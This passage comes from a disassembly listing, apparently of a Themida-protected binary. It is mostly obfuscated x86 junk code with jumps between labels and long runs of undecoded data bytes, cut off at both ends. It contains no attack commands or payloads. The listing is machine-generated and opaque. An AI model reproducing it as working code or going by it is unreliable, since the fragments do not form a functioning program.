		dd 2, 7695E981h, 8EE9257Ch, 42000085h, 0B20FC281h, 0D729FE17h
		dd 8124148Bh, 4C4h, 243C8700h, 13CE9h
		db 0
; ---------------------------------------------------------------------------


loc_568401:				; CODE XREF: Themida_:00565A8Ej
		xor	eax, edx
		pop	edx
		mov	ebx, 3E0B6F03h
		add	ebx, 33AE6F0Fh
		sub	ebx, eax
		jmp	loc_56EC73
; ---------------------------------------------------------------------------


loc_568416:				; CODE XREF: Themida_:00570EE4j
		xor	ebp, 63D71B7Ch
		jmp	loc_5679A0
; ---------------------------------------------------------------------------
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_565445
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 102EC181h, 34FF70E7h, 17EDE924h, 0D8050000h,	53B3914h
		dd 273EF3B8h, 8158C209h, 0FF7F5BEAh, 0A26AE97Eh, 835B0000h
		dd 0C8904ECh, 60E2B924h, 0E1D147F9h, 0FF8380E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568475:				; CODE XREF: Themida_:00568A5Cj
		shr	dh, 7
		not	dh
		inc	dh
		push	ebx
		mov	bl, 0AEh
		xor	bl, 1Dh
		jmp	loc_566DB9
; ---------------------------------------------------------------------------
		db 59h
		dd 5C243C87h, 0FF74C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568491:				; CODE XREF: Themida_:00566BF2j
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_566023
; ---------------------------------------------------------------------------
		dd 4C481h, 3C330000h, 7367E924h
		db 2 dup(0)
aMrszt		db '¬RéZT',0            ; DATA XREF: Themida_:0055DFE4o
		db 0
; ---------------------------------------------------------------------------


loc_5684B1:				; CODE XREF: Themida_:0057070Aj
		mov	ecx, edi
		pop	edi
		shl	ecx, 4
		xor	ecx, 565F00A3h
		shl	ecx, 7
		shl	ecx, 1
		xor	ecx, 807B2889h
		mov	eax, ecx
		pop	ecx
		add	dword ptr [esp+0Ch], 47F9574Eh
		sub	[esp+0Ch], eax
		sub	dword ptr [esp+0Ch], 47F9574Eh
		pop	eax
		pop	eax
		add	dword ptr [esp+4], 69480D57h
		jmp	loc_567EE4
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1EEDBB24h, 504B5C60h, 34196DB8h, 93982D5Ah, 0C3019980h
		dd 0E9DA2958h, 7D41h, 64E9E789h, 0BF00006Dh, 498A083Bh
		dd 5251D7F7h, 7C46B850h, 0C28923A9h, 0FFECD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568529:				; CODE XREF: Themida_:00570895j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_568685
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 0A65EE924h, 2C89FFFFh, 6E44BD24h, 0EF0915C4h, 0D1EDE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568556:				; CODE XREF: Themida_:0056570Cj
		sub	ecx, 691E7FE4h
		jmp	loc_5616D3
; ---------------------------------------------------------------------------
		db 0B1h, 7Bh, 0FEh
		dd 68D9F6C9h, 24BCh, 0B4240489h, 80C4FEDEh, 0EC80F1CCh
		dd 0B1F48013h, 0FEE9F480h, 31EC80C4h, 0C480D4F6h, 0FFE12023h
		dd 0E9582434h, 0FFFFF294h, 1489665Ch, 11F26824h, 0C890000h
		dd 0A7E95324h, 0E9FFFFA9h, 0FFFF5AF3h, 68F4C381h, 0F38149B6h
		dd 47D9E00Ch, 0FFE074E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5685BD:				; CODE XREF: Themida_:0055E694j
		mov	edx, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5699AA
; ---------------------------------------------------------------------------


loc_5685CB:				; CODE XREF: Themida_:00563C22j
		push	2265h
		mov	[esp], esi
		mov	esi, 1CC92FC8h
		and	esi, 0B7E5E60h
		sub	esi, 314A56C2h
		neg	esi
		xor	esi, 7E2A6592h
		sub	esi, 57282D0Ch
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_560EB0
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 792F4A8Dh, 0FFD9F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568611:				; CODE XREF: Themida_:0056222Bj
		push	ebx
		jmp	loc_56A4E8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4B95100h, 1000000h, 27E959CFh,	52FFFF76h, 0DF70A2BAh
		dd 6018E906h, 0F301FFFFh, 8BDA315Eh, 0F3E9241Ch, 1000080h
		dd 0E9042444h, 3DFCh, 0EC81D300h, 4, 0E9240C89h, 567Bh
; ---------------------------------------------------------------------------


loc_56865C:				; CODE XREF: Themida_:00561237j
		push	eax
		mov	ah, 0E6h
		not	ah
		sub	ah, 0FFh
		sub	ah, 41h
		sub	dl, ah
		pop	eax
		push	ecx
		mov	ch, 7
		jmp	loc_56237F
; ---------------------------------------------------------------------------


loc_568672:				; CODE XREF: Themida_:0056A69Dj
		sub	esp, 4
		jmp	loc_56C2FD
; ---------------------------------------------------------------------------
		db 59h,	0D1h, 0E2h
		dd 21AE9h
		db 0
; ---------------------------------------------------------------------------


loc_568685:				; CODE XREF: Themida_:00568538j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 449725B5h
		push	0BB68DA4Ch
		jmp	loc_568CF1
; ---------------------------------------------------------------------------
		dd 70E36855h, 815D676Ch, 94692FF5h, 92B3E918h, 0EB68FFFFh
		dd 8900004Ch, 4BE2434h,	0E9000000h, 0FFFF7404h,	104C483h
		dd 0BB532404h, 23DA7555h, 4245C29h, 1392E95Bh, 815E0000h
		dd 4C7h, 3BC9E900h, 0E0890000h,	681DE9h, 24348B00h, 4C481h
		dd 83520000h, 0BAE904ECh, 56FFFF72h, 496DA5BEh,	13E9467Eh
		dd 1FFFFCAh, 0EC835AD3h, 24148904h, 0C4A6E956h,	0C581FFFFh
		dd 12E435A8h, 8105E5C1h, 0E86104C5h, 6CE955A2h,	81FFFFEEh
		dd 0A2FF39F6h, 263DE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568732:				; CODE XREF: Themida_:00570BD7j
		add	esp, 4
		sub	edi, 79225280h
		sub	edi, 335E5BD8h
		add	edi, 50DA6511h
		add	edi, ebp
		jmp	loc_568EDB
; ---------------------------------------------------------------------------
		dw 0FD00h
		dd 66DDF65Bh, 88D08850h, 66C588EAh, 86D2F658h, 515052D5h
		dd 0FFA4DBE9h, 815954FFh, 4C1h,	4BA5200h, 0E9000000h, 0FFFFD5BFh
		dd 5C243433h, 8B3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_568785:				; CODE XREF: Themida_:0056237Aj
		pop	esi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_56CC7C
; ---------------------------------------------------------------------------
		dd 0EED1DEF7h, 6B12E9h
		db 0
; ---------------------------------------------------------------------------


loc_56879D:				; CODE XREF: Themida_:0056A291j
		push	0D581B65h
		jmp	loc_561AD1
; ---------------------------------------------------------------------------
aI4T6xSpj	db '‰4$¾T6x\é¯j',0
		align 4
aISi		db '‰Õéˆ)',0
		dw 100h
		dd 0C2815EF2h, 204D3784h, 0EA81CA01h, 204D3784h, 31C8EA81h
		dd 0C8B6DF1h, 0EC835524h, 78CAE904h, 0C2080000h, 0FF6E22E9h
		dd 0EA8058FFh, 8BD5008Dh, 85E92414h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5687F3:				; CODE XREF: Themida_:00570AD5j
		mov	ebp, 3896CFAh
		push	edx
		mov	edx, 54F12A78h
		inc	edx
		jmp	loc_563120
; ---------------------------------------------------------------------------


loc_568804:				; CODE XREF: Themida_:00562397j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp


loc_56880B:				; CODE XREF: Themida_:00569AB2j
					; Themida_:0057071Aj
		push	276h
		mov	[esp], ebx
		jmp	loc_570632
; ---------------------------------------------------------------------------
dword_568818	dd 240C8B66h, 0FFEC10E9h, 5E6859FFh, 8900006Fh,	0A2BB241Ch
					; DATA XREF: Themida_:0055DE2Co
		dd 0E951D50Fh, 0FFFFEBDAh
; ---------------------------------------------------------------------------


loc_568834:				; CODE XREF: Themida_:0056DA61j
		mov	ebp, 24437798h
		xor	ebp, 32757807h
		xchg	edi, ebp
		jmp	loc_56DDD2
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 148B92C2h, 0F522E924h, 0C181FFFFh, 7DBDACF0h, 50E9CE29h
		db 5Bh,	2 dup(0FFh)
byte_56885F	db 66h			; DATA XREF: Themida_:0055DF48o
		dd 0E924048Bh, 7178h, 0EA81DA29h, 3B644136h, 81C2295Bh
		dd 0B2654CC2h, 932BE922h, 0C6810000h, 33EF572Bh, 2D28B850h
		dd 0C40534D8h, 0E9703E10h, 117h
; ---------------------------------------------------------------------------


loc_568894:				; CODE XREF: Themida_:0056E78Cj
		or	ebx, 21702C8Ah
		jmp	loc_56661C
; ---------------------------------------------------------------------------
		db 68h
		dd 3D34h, 0BF243C89h, 0
		dd 0FA31D729h, 0FA31D731h, 6EAC15Fh, 1481B951h,	0E9812DF4h
		dd 0C8F4B10Dh, 65E9CA01h, 50FFFF7Ah, 405E089h, 83000000h
		dd 48704C0h, 5B665C24h,	0E9A2B450h, 0FFFFF8E8h
; ---------------------------------------------------------------------------


loc_5688E4:				; CODE XREF: Themida_:0056C4A4j
		and	ebp, 4A2142B2h
		push	ebx
		push	ecx
		push	185D701Fh
		pop	ecx
		sub	ecx, 0F64303BAh
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 3
		push	3756h
		mov	[esp], ecx
		mov	ecx, 4E632693h
		sub	ebx, ecx
		pop	ecx
		dec	ebx
		jmp	loc_56F05A
; ---------------------------------------------------------------------------


loc_568914:				; CODE XREF: Themida_:0056D625j
		push	edi
		not	dword ptr [esp]
		pop	edi
		xor	edi, 0B89AEA8Dh
		or	eax, edi
		pop	edi
		jmp	loc_563B58
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 8ACEE9h, 1055F00h, 893CF4AEh,	0BCB2E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568942:				; CODE XREF: Themida_:0056EB4Cj
		push	edi
		mov	edi, 7E71745Ch
		sub	edi, 5CB342F4h
		jmp	loc_56E406
; ---------------------------------------------------------------------------
		db 33h
		dd 248B241Ch, 3384E924h, 0C4810000h, 4,	3ABAE9h, 8BE80000h
		dd 5455240Ch, 4C5815Dh,	50000000h, 4B8h, 58C50100h, 5C242C87h
		dd 0B60FC330h, 87048FC0h, 0FF570EE9h, 81DA01FFh, 0E13E74EAh
		dd 0CAE9515Eh, 53000038h, 4EC81h, 19E90000h, 0D00002Eh
		dd 2CDD7333h, 80170335h, 69F2E924h, 815A0000h, 0B559D9EEh
		dd 0FFF50170h, 835E2434h, 0E95004C4h, 0FFFF996Bh, 0CEBF5752h
		dd 0E96D705Fh, 0FFFFBF33h
; ---------------------------------------------------------------------------


loc_5689DC:				; CODE XREF: Themida_:0056ACE1j
		and	esi, offset byte_4A45B7
		add	esi, 0D522ADFh
		push	ebx
		mov	ebx, esi
		mov	edx, ebx
		jmp	loc_570ADA
; ---------------------------------------------------------------------------


loc_5689F2:				; CODE XREF: Themida_:005625F9j
		add	edi, 2CEC111Bh
		push	ebx
		mov	ebx, 223D637Eh
		add	ebx, 5CBD01B0h
		sub	edi, ebx
		pop	ebx
		jmp	loc_5623ED
; ---------------------------------------------------------------------------
		dd 0F82B31BAh, 7E2C133h, 0FFBB6CE9h, 1C381FFh, 81000000h
		dd 0B671ECC3h, 5BDE0973h, 709BBF57h, 0FE0144BFh, 0FFF0315Fh
		dd 0DEE92434h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568A3B:				; CODE XREF: Themida_:00568126j
		push	1691h
		mov	[esp], edx
		mov	dl, 0BDh
		push	ebx
		push	edx
		mov	dl, 97h
		mov	bl, 0EDh
		sub	bl, 31h
		sub	bl, dl
		add	bl, 31h
		pop	edx
		add	bl, 0FFh
		not	bl
		push	edx
		mov	dh, 0F4h
		jmp	loc_568475
; ---------------------------------------------------------------------------


loc_568A61:				; CODE XREF: Themida_:005681DAj
		pop	eax
		sub	ecx, 2070108Fh
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_562371
; ---------------------------------------------------------------------------


loc_568A95:				; CODE XREF: Themida_:00560168j
		push	esi
		push	edx
		mov	edx, 0FFF29AD6h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, esi
		pop	esi
		add	eax, ebx
		jmp	loc_5602FA
; ---------------------------------------------------------------------------
		dw 295Eh
		dd 24048BC3h, 4C481h, 8F0000h, 0FF55DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568AC1:				; CODE XREF: Themida_:0056D3D2j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_568AD0:				; CODE XREF: Themida_:005718F3j
		push	7435h
		mov	[esp], ecx
		push	ebx
		add	dword ptr [esp], 57BF6CA7h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 57BF6CA7h
		push	ecx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_57287F
; ---------------------------------------------------------------------------
word_568AFA	dw 34FFh		; DATA XREF: Themida_:0055DF64o
		dd 3814E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568B02:				; CODE XREF: Themida_:0056A742j
		shl	edx, 6
		jmp	loc_570232
; ---------------------------------------------------------------------------


loc_568B0A:				; CODE XREF: Themida_:00563EFBj
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5726BC
; ---------------------------------------------------------------------------
		dd 24048F5Fh, 1BEAE95Ch, 0D0680000h, 0E9000046h, 98A8h
; ---------------------------------------------------------------------------


loc_568B28:				; CODE XREF: Themida_:00563458j
		mov	ebx, 7C2D61F3h
		push	edx
		mov	edx, 37BB1899h
		xor	ebx, edx
		pop	edx
		not	ebx
		and	ebx, 71F64CDCh
		jmp	loc_5667F0
; ---------------------------------------------------------------------------
		dd offset dword_457444+2753Ch
		db 0E1h
		dd 5847C180h, 24048051h, 240C8BFFh, 0F9EE9h, 81DDF700h
		dd 0EF7079E5h, 0C5814D7Ch, 3FCB327Ch, 5E5DEA29h, 9FB95150h
		dd 561DAD2Eh, 2F4990BEh, 5EF1297Bh, 0FF18149h, 81377618h
		dd 0BB5A5BC9h, 81D1F71Eh, 4400A0F1h, 53C5E960h,	34FF0000h
		dd 14E95924h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B9F:				; CODE XREF: Themida_:00570642j
		mov	edx, 4
		sub	edi, 27134106h
		add	edi, edx
		jmp	loc_56D369
; ---------------------------------------------------------------------------


loc_568BB1:				; CODE XREF: Themida_:0056D867j
		push	esi
		mov	esi, 188754A2h
		sub	esi, 29491859h
		or	esi, 5E1A71B8h
		shr	esi, 4
		neg	esi
		xor	esi, 0E177C988h
		xor	ecx, esi
		jmp	loc_566FF5
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0C6815E04h, 4, 69CF68h, 24048900h, 0FFD1BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568BED:				; CODE XREF: Themida_:0056EB05j
		xor	edx, edi
		or	edx, 1EEA0E1Eh
		sub	edx, 1
		push	ebx
		mov	ebx, 0D28CC11Fh
		sub	edx, ebx
		pop	ebx
		sub	edi, 220458B5h
		sub	edi, edx
		jmp	loc_567E10
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 837A1705h, 0C1D8F72Fh, 0EF3506E8h, 0E949526Dh, 49BDh
dword_568C24	dd 0FF3877FFh, 83592434h, 2DE904ECh, 47FFFFDFh,	1AA8E781h
					; DATA XREF: Themida_:0055DDE0o
		dd 0D7F70455h, 5DE6E9h,	24740100h, 0EDE95E04h, 0D1000086h
		dd 8235E9EAh, 0EC83FFFFh, 4AC8E904h, 0C4810000h, 4, 827FE950h
		dd 0C281FFFFh, 210F225h, 2161F281h, 0BD555932h,	1, 815DEA01h
		dd 5A548CC2h, 35BE560Fh, 0E9598F5Bh, 0FFFFA16Dh
; ---------------------------------------------------------------------------


loc_568C8C:				; CODE XREF: Themida_:00567308j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5674BF
; ---------------------------------------------------------------------------


loc_568C97:				; CODE XREF: Themida_:00560F67j
		add	edi, esi
		jmp	loc_5654D6
; ---------------------------------------------------------------------------


loc_568C9E:				; CODE XREF: Themida_:005634E1j
		sub	esp, 4
		jmp	loc_55F740
; ---------------------------------------------------------------------------
		db 0FEh, 0C4h, 0E9h
		dd 1245h, 16E9DA01h, 50FFFFE0h,	0D17EFEB8h, 58C3015Fh
		dd 0FF2434FFh, 81582434h, 4ECh,	243C8900h, 0C781E789h
		dd 4, 0FF6EF8E9h, 5BD801FFh, 0E9240487h, 28C8h,	5BF9305Ah
		dd 9176E9h
		db 0
; ---------------------------------------------------------------------------


loc_568CF1:				; CODE XREF: Themida_:00568693j
		pop	edx
		sub	edx, 134D1164h
		sub	edx, 6D054E8h
		sub	edx, 35AB5489h
		add	edx, ebx
		add	edx, 35AB5489h
		add	edx, 6D054E8h
		push	edi
		mov	edi, 134D1164h
		add	edx, edi
		pop	edi
		mov	ebx, [esp]
		jmp	loc_5634EC
; ---------------------------------------------------------------------------


loc_568D23:				; CODE XREF: Themida_:00563FD3j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56EFB0
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 48F0000h, 24048324h,	99A9E904h, 0FB010000h
		dd 7E8BF57h, 89E95FEDh,	0BAFFFF61h, 4FF878B7h, 5B5AD629h
		dd 2913E9h
		db 0
; ---------------------------------------------------------------------------


loc_568D5D:				; CODE XREF: Themida_:005728D5j
		add	eax, 4
		push	54B0h
		mov	[esp], ecx
		jmp	loc_5635B7
; ---------------------------------------------------------------------------


loc_568D6F:				; CODE XREF: Themida_:0056ACEEj
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		push	79E83B10h
		jmp	loc_572BBA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9B68240Ch, 89000019h, 0A9E9243Ch, 0C0000032h, 0F18006E1h
		dd 30E1804Bh, 0E9D8B652h, 0FFFF5ECAh, 8BC5015Dh, 0C4832404h
		dd 4C58304h, 5C242C87h,	4EC81h,	0C890000h, 5A4A6824h, 34890000h
		dd 68FE8924h, 5692h, 59243489h,	5624348Bh, 0C681E689h
		dd 4, 8704EE83h, 0E95C2434h, 6959h
; ---------------------------------------------------------------------------


loc_568DE8:				; CODE XREF: Themida_:0056FAEAj
		sub	dword ptr [esp], 8B09B4h
		jmp	loc_56CD30
; ---------------------------------------------------------------------------


loc_568DF4:				; CODE XREF: Themida_:005657C6j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_56EC6D
; ---------------------------------------------------------------------------
		dd 2ADCBA52h, 0CE90130h, 8F000022h, 335C2404h, 0AAE92414h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E17:				; CODE XREF: Themida_:0056269Aj
		pop	edi
		push	6A1h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		jmp	loc_56C8FF
; ---------------------------------------------------------------------------
		db 29h
		dd 0C8B5EF2h, 66FBE924h
		db 2 dup(0)
word_568E3A	dw 8B66h		; DATA XREF: Themida_:0055DE3Co
		dd 0E9502404h, 0FFFF9A9Ah, 285568h, 24048900h, 583CB9B8h
		dd 5DBFE96Ch, 0C483FFFFh, 4EC8104h, 89000000h, 6FE9241Ch
		dd 0E9000046h, 0FFFF5233h, 0EB317BBAh, 5AD32964h, 0FF96F5E9h
		dd 52C681FFh, 897E75B0h, 2BE95EF1h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E87:				; CODE XREF: Themida_:005601F7j
		add	eax, 30FF7E8Fh
		push	5CA9h
		mov	[esp], ebp
		push	77ED21E7h
		pop	ebp
		push	ebp
		neg	dword ptr [esp]
		jmp	loc_55EDCD
; ---------------------------------------------------------------------------


loc_568EA3:				; CODE XREF: Themida_:0055F74Bj
		push	4EC8436Ah
		pop	eax
		xor	eax, 3B5207DAh
		mov	esi, eax
		jmp	loc_56992F
; ---------------------------------------------------------------------------
		db 0E9h, 0E5h, 51h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EBA:				; CODE XREF: Themida_:005713F7j
		pop	esp
		jmp	loc_56D0E3
; ---------------------------------------------------------------------------
aShmg		db 'ShMG',0
		align 2
		dw 0AAE9h
		db 13h,	2 dup(0)
byte_568ECB	db 0FFh			; DATA XREF: Themida_:0055DFA0o
		dd 669D1C77h, 1CD36659h, 0C4E99C24h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EDB:				; CODE XREF: Themida_:00568749j
		sub	edi, 50DA6511h
		add	edi, 335E5BD8h
		add	edi, 79225280h
		pop	ebp
		push	42F6h
		jmp	loc_56580E
; ---------------------------------------------------------------------------
		dd 21F2E954h, 835F0000h, 148704EAh, 0D356E924h,	0EC83FFFFh
		dd 1C896602h, 3098B324h, 7E86E9DAh, 585A0000h, 5604C683h
		dd 42474FFh, 24048F5Eh,	4EC815Ch, 89000000h, 0E2892414h
		dd 49D8E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568F3A:				; CODE XREF: Themida_:00560534j
		xchg	edx, esi
		add	esi, 0FFFFFFFFh
		add	esi, 0DC9B8238h
		or	eax, esi
		pop	esi
		jmp	loc_56C88B
; ---------------------------------------------------------------------------


loc_568F4D:				; CODE XREF: Themida_:00564366j
		add	esi, 4C187802h
		jmp	loc_56FBA9
; ---------------------------------------------------------------------------
		dd 7AF3BB53h, 80BD26F8h, 31635354h, 0F5815BDDh,	74731012h
		dd 9EE9D5F7h, 87FFFFD4h, 248B2404h, 0F44BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F7E:				; CODE XREF: Themida_:00562C2Bj
		push	ebx
		push	edx
		mov	edx, 25665208h
		dec	edx
		inc	edx
		neg	edx
		shr	edx, 5
		not	edx
		add	edx, 1BB01761h
		mov	ebx, edx
		pop	edx
		or	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_567865
; ---------------------------------------------------------------------------
		dd 0FF240C89h, 0FF042474h, 57592434h, 0C781E789h, 4, 36FE9h
		db 0
; ---------------------------------------------------------------------------


loc_568FBD:				; CODE XREF: Themida_:0056DD02j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56B9DB
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E924048Fh, 2689h, 3BFFCE81h, 6BE96A3Fh, 83000015h
		dd 348904ECh, 4BB5324h,	89000000h, 0BA525BDEh, 4D5B100Ch
		dd 0E903E2C1h, 6421h, 0DB05066h, 1CE9C500h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56900B:				; CODE XREF: Themida_:00570C39j
		push	eax
		mov	eax, ebp
		mov	edi, eax
		pop	eax
		jmp	loc_5714DE
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 7BEB05C9h, 36E9F287h, 0F7000002h, 952DE9D3h,	0C381FFFFh
		dd 1D8D336Fh, 681CB81h,	0CB815AABh, 8774FD3h, 2413F381h
		dd 0F381788Dh, 6BAA45D6h, 815BDD09h, 286214E5h,	0ED814D29h
		dd 2828620Fh, 335DE801h, 4312404h, 24043324h, 28C5805Ch
		dd 34FFE830h, 88CFE924h, 0F1810000h, 0C1E7797h,	78CABE56h
		dd 0F681733Dh, 7F69A3F9h, 15EF101h, 0EB0159CBh,	4298EB81h
		dd 875D098Eh, 685C241Ch, 2545h,	0E9242C89h, 96F3h
dword_5690A4	dd 20E068h, 24348900h, 3A586852h, 34FF79DEh, 2434FF24h
					; DATA XREF: Themida_:0055DF6Co
		dd 59B2685Ah, 4890000h,	53E08924h, 3204C8BBh, 83CB8130h
		dd 8156582Fh, 72543FCBh, 6642E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5690DA:				; CODE XREF: Themida_:0056A270j
		mov	esp, [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 614E37CBh
		sub	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		push	32BDh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 7E5418A3h
		add	ebx, 28D408B0h
		sub	ebx, 36460FA7h
		add	ebx, ebp
		add	ebx, 36460FA7h
		jmp	loc_5665E5
; ---------------------------------------------------------------------------
		db 89h
		dd 4FE9240Ch
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569123:				; CODE XREF: Themida_:005706F5j
		add	esp, 4
		jmp	loc_5616A8
; ---------------------------------------------------------------------------
word_56912E	dw 8B66h		; DATA XREF: Themida_:0055DED0o
		dd 62E9240Ch
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569137:				; CODE XREF: Themida_:005710B5j
		push	ecx
		mov	ch, al
		jmp	loc_572626
; ---------------------------------------------------------------------------
		db 2Dh
		dd 3C5C5B79h, 2A50AA05h, 58C62931h, 84C6814Eh, 81500439h
		dd 8D4212E9h, 81F10161h, 8D4212C1h, 0C1815E61h,	4, 31240C33h
		dd 0C33240Ch, 24248B24h, 0FFD024E9h, 8BF781FFh,	8195A8CAh
		dd 2D3BCFEBh, 81FB012Fh, 2D3BCFC3h, 243C8B2Fh, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 18B3C281h, 0DA014321h, 18B3EA81h
		dd 1C8B4321h, 4C48324h,	0FF69C7E9h, 81D601FFh, 0F2456C6h
		dd 24148B7Ah, 81595451h, 4C1h, 1916800h, 4890000h, 4B824h
		dd 0E9810000h, 70E7102Eh, 0FFF255E9h, 2C483FFh,	0C5FEDDF6h
		dd 6675C580h, 40E0E953h, 0EC810000h, 4,	68241489h, 59937DBFh
		dd 5A2434FFh, 45DAE9h, 81E78900h, 4C7h,	4C78300h, 0E9243C87h
		dd 0FFFF93DEh, 32687DB2h, 0E9000057h, 0FFFFAC8Bh, 0B9240C89h
		dd 7E255399h, 1B18F181h, 0C8217D16h, 0FFC064E9h, 243487FFh
		dd 4158E9h
		db 0
; ---------------------------------------------------------------------------


loc_569249:				; CODE XREF: Themida_:00562A9Ej
		mov	esi, ebx
		jmp	loc_565D17
; ---------------------------------------------------------------------------


loc_569250:				; CODE XREF: Themida_:0056A978j
		push	dword ptr [esp+4]
		jmp	loc_56667C
; ---------------------------------------------------------------------------
		db 4Eh,	87h, 0F2h
aBAsxH		db '™XÏhÍ*',0
		dw 8900h
		dd 34812414h, 0E7178824h, 0CDDDE924h, 0C89FFFFh, 18B76824h
		dd 8F540000h, 0F3E92404h, 0C1FFFF6Ah, 0C28104E2h, 1C96CE9Fh
		dd 34FFD601h, 0C4835A24h, 0E0C5E904h
		db 2 dup(0FFh)
word_56929E	dw 77FFh		; DATA XREF: Themida_:0055DE20o
		dd 58669D1Ch, 9C240410h, 0FF4DF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5692AD:				; CODE XREF: Themida_:0055F35Bj
		push	ebp
		jmp	loc_56EDB3
; ---------------------------------------------------------------------------


loc_5692B3:				; CODE XREF: Themida_:00565246j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_566868
; ---------------------------------------------------------------------------


loc_5692CD:				; CODE XREF: Themida_:0056060Cj
		xchg	eax, ecx
		jmp	loc_570112
; ---------------------------------------------------------------------------


loc_5692D3:				; CODE XREF: Themida_:0056FFD6j
		push	edi
		jmp	loc_56E0D5
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 73E92434h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5692F3:				; CODE XREF: Themida_:0055FF89j
		mov	esp, [esp]
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_570718
; ---------------------------------------------------------------------------


loc_569306:				; CODE XREF: Themida_:0056A8ECj
		pop	edx
		jmp	loc_5664D2
; ---------------------------------------------------------------------------


loc_56930C:				; CODE XREF: Themida_:0056C2A2j
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	209Ah
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562C71
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF71D9h, 8704C783h, 8F5C243Ch, 248B2404h,	48B6624h
		dd 765A6824h, 34890000h, 0E1895124h, 4C181h, 0A5E90000h
		dd 0C0000010h, 0C38006E3h, 5BDA8862h, 5106EAC0h, 0FF71D4E9h
		dd 4C681FFh, 0E9000000h, 0FFFFD455h, 0C1D8F75Dh, 0E8D104E0h
		dd 0FFC09BE9h, 2EEC1FFh, 8AC681h, 0EE8143BAh, 406D43Eh
		dd 348BF089h, 4C48324h,	0E903E0C1h, 0FFFFAE6Eh,	0E924048Fh
